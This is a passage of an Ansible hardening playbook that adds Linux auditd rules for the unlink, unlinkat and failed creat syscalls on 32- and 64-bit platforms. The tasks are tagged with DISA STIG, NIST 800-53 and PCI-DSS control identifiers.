        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_unlink
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for unlink for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlink
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlink in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlink
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlink in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_unlink
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit unlinkat tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_unlinkat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for unlinkat for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlinkat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlinkat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlinkat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlinkat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_unlinkat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for unlinkat for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlinkat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlinkat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlinkat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlinkat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_unlinkat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit creat tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_creat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for creat EACCES for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_creat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for creat EACCES for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - creat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of creat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_creat
